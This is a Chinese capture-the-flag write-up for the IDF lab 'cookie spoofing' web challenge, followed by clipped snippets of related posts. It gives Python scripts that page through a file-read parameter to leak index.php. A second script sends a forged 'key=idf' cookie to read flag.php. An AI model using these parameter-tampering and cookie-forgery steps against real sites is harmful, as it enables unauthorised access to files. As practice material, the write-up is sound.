IDF实验室:天罗地网--COOKIE欺骗

阅读目录

  • 题目
  • 分析
  • 总结

题目

回到顶部

分析

打开题目所给链接,页面内容是一串看不懂且非常长的字符串。

看似像md5值(没见过这么长的md5)

观察url地址栏的链接,多了两个参数 "line" 和 "file" 。都知道 url参数的传递都是base64编码

"line" 值为空

"file" 值为 ZmxhZy50eHQ

将 "file" 的值 "ZmxhZy50eHQ" 用python给解码(我是python 新手,所以我不依赖其他在线解码工具!自己动手,丰衣足食)

解码居然失败了

google..查询 (base后一两位可能有"=")

得到结果 "flag.txt"

猜测有文件包含漏洞,尝试更改"file"的值为"index.php"的base64编码值访问,网页一片空白。

上面说到"line"的值为空,现在尝试更改 "line" 的值后,输入1得到一行代码

多次尝试后发现"line"最大为18,用python抓取该文件内容,从0开始遍历

#coding:utf-8
# idf
# Author: vforbox

import requests

for i in range(0,19):
    url = "http://ctf.idf.cn/game/web/40/index.php?line="+ str(i)+ "&file=aW5kZXgucGhw"
    response = requests.get(url)
    content = response.text
    print content

得到的内容,这就是index.php的代码

<?php

    error_reporting(0);

    $file=base64_decode(isset($_GET[‘file‘])?$_GET[‘file‘]:"");

    $line=isset($_GET[‘line‘])?intval($_GET[‘line‘]):0;

    if($file==‘‘) header("location:index.php?line=&file=ZmxhZy50eHQ");

    $file_list = array(

        ‘0‘ =>‘flag.txt‘, 

        ‘1‘ =>‘index.php‘,

    );

    if(isset($_COOKIE[‘key‘]) && $_COOKIE[‘key‘]==‘idf‘){

        $file_list[2]=‘flag.php‘;

    }

    if(in_array($file, $file_list)){

        $fa = file($file);

        echo $fa[$line];
    }

?>

从index.php的代码中,可以发现cookie的名为key,值为idf

将"file"的值设置成"ZmxhZy50eHQ"(flag.txt的base64码)可以通过cookie欺骗的方式访问flag.php文件

依然遍历"line",Python 脚本如下

#coding:utf-8
# idf
#Author: vforbox

import requests

cookies={‘key‘:‘idf‘} # 设置cookies的值为idf

for i in range(0,19):
    url = "http://ctf.idf.cn/game/web/40/index.php?line="+str(i)+"&file=ZmxhZy5waHA"
    response = requests.get(url,cookies=cookies)
    content = response.text
    print content

得到密码: wctf{idf_c00kie}

回到顶部

总结

重点是思路,思路有什么不对劲的地方,请高手不要揭穿我

回到顶部

时间: 2024-11-10 01:19:06

IDF实验室:天罗地网--COOKIE欺骗的相关文章

IDF 实验室部分题目WriteUp

前天花了一个下午的时间刷了几道IDF实验室的题目, 这个网站实在是有点冷清, 题目也比较少, 所以就被我和师兄们刷榜了2333... 因为我最先开始做, 所以就干脆刷到第一去了. 题目很水, 切莫见怪. 牛刀小试 http://ctf.idf.cn/index.php?g=game&m=list&a=index&id=16 莫尔斯密码: 网上有转换器, 转换后去空格全小写就是flag. flag: wctf{morseode} ASCII码而已: 这是Unicode码好吧...随便

用wget实现cookie欺骗

用wget实现cookie欺骗 1. 分析登录界面的html代码 页面在 http://bbs.linuxeden.com/ <form. id="loginform" method="post" name="login" action="logging.php?action=login&loginsubmit=true"> <input type="hidden" name=&q

IDF实验室-CTF训练营-牛刀小试CTF

自从开始玩CTF后,发现这个游戏还是比较有意思,发现了一个练习场地IDF实验室:http://ctf.idf.cn/ 刷刷里面的题目,今天完成了其中的牛刀小试,分享一下解题思路: 1. 被改错的密码 题目为: 从前有一个熊孩子入侵了一个网站的数据库,找到了管理员密码,手一抖在数据库中修改了一下,现在的密码变成了 cca9cc444e64c8116a30la00559c042b4,那个熊孩子其实就是我!肿么办求解!在线等,挺急的.. PS:答案格式wctf{管理员原密码} 第一眼看上去cca9cc

IDF实验室:天罗地网--一种编码而已

阅读目录 题目 分析 题目 回到顶部 分析 这种编码你们见过吗?反正我见过 这其实是JavaScript代码 参考: 原理 -- 原理 实例 将题目的编码复制,打开google浏览器F12召唤出开发模式,在控制台粘贴复制的编码 -->回车... ... 不行,话说google浏览器不是屌的吗! 果断更换浏览器"火狐 - Firebug神器",我将编码复制到FireBug的开发模式的控制台里 提交密码:WCTF{H3110_J0t4er} 回到顶部

COOKIE欺骗

链接:http://ctf.idf.cn/index.php?g=game&m=article&a=index&id=40 开始攻关:这里这里→ http://ctf.idf.cn/game/web/40/index.php 进去之后就是cd67918e02086c10de8202a75ca31c256636bef519b576b............. 这时我们稍微有点眼力的话,可以看见url中file的值是base64编码,解密后是flag.txt,,,,因为之前接触过类似的

IDF实验室:初探乾坤--简单编程-字符统计

地址: ctf.idf.cn/index.php?g=game&m=article&a=index&id=37 题目: 这里这里 → http://ctf.idf.cn/game/pro/37 Writeup: (第二份代码引用他人新浪博客:blog.sina.com.cn/s/blog_e53f38130102vjlz.html ) 很明显,编写代码分别统计woldy五个字母的数量,并提交.但是注意需要在2秒内提交,所以需要写爬虫,With Python !!! 第一次:自己用P

IDF实验室-简单编程-特殊的日子 writeup

题目:http://ctf.idf.cn/index.php?g=game&m=article&a=index&id=50 题目提示要爆破,代表加密应该是不可逆的. 密文:4D1FAE0B 只有八个字符.容易猜测是CRC32加密的. python有直接可以用的模块binascii py代码: #!usr/bin/env python #!coding=utf-8 __author__ = 'zhengjim' import binascii flag = 0x4D1FAE0B fo

IDF实验室-简单的ELF逆向 writeup

题目:http://ctf.idf.cn/index.php?g=game&m=article&a=index&id=39 下载得到ElfCrackMe1文件,直接用IDA打开. 最早想到的是 function一路F5下去.可以看到关键的main函数 int __cdecl main(int argc, const char **argv, const char **envp) { int v3; // [email protected] const char **v4; // [

【Docker】通过cookie欺骗在ubuntu中使用wget下载jdk

在ubuntu系统中,如果想通过wget直接下载Orcale内的jdk文件,一般是办不到的.所以就得用特殊的方法. 首先在官网找到自己需要下载的jdk版本下载链接: 点选Accept License Agreement后,右键需要下载的Linux文件,右键点击它,选择"复制链接地址",这样就能得到该文件的下载路径. 比如下载linux x64版本文件jdk-6u45-linux-x64.bin,得到的路径为: http://download.oracle.com/otn/java/jd